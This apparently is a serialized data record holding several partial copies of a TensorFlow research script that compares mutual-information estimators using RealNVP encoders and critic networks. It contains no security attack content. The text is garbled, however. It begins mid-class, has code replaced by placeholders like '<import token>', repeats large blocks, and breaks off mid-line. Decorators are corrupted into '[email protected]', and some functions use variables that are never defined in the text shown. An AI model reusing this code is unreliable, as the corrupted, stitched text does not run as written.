self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\ndef nwj_lower_bound(scores):\n return tuba_lower_bound(scores - 1.0)\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if 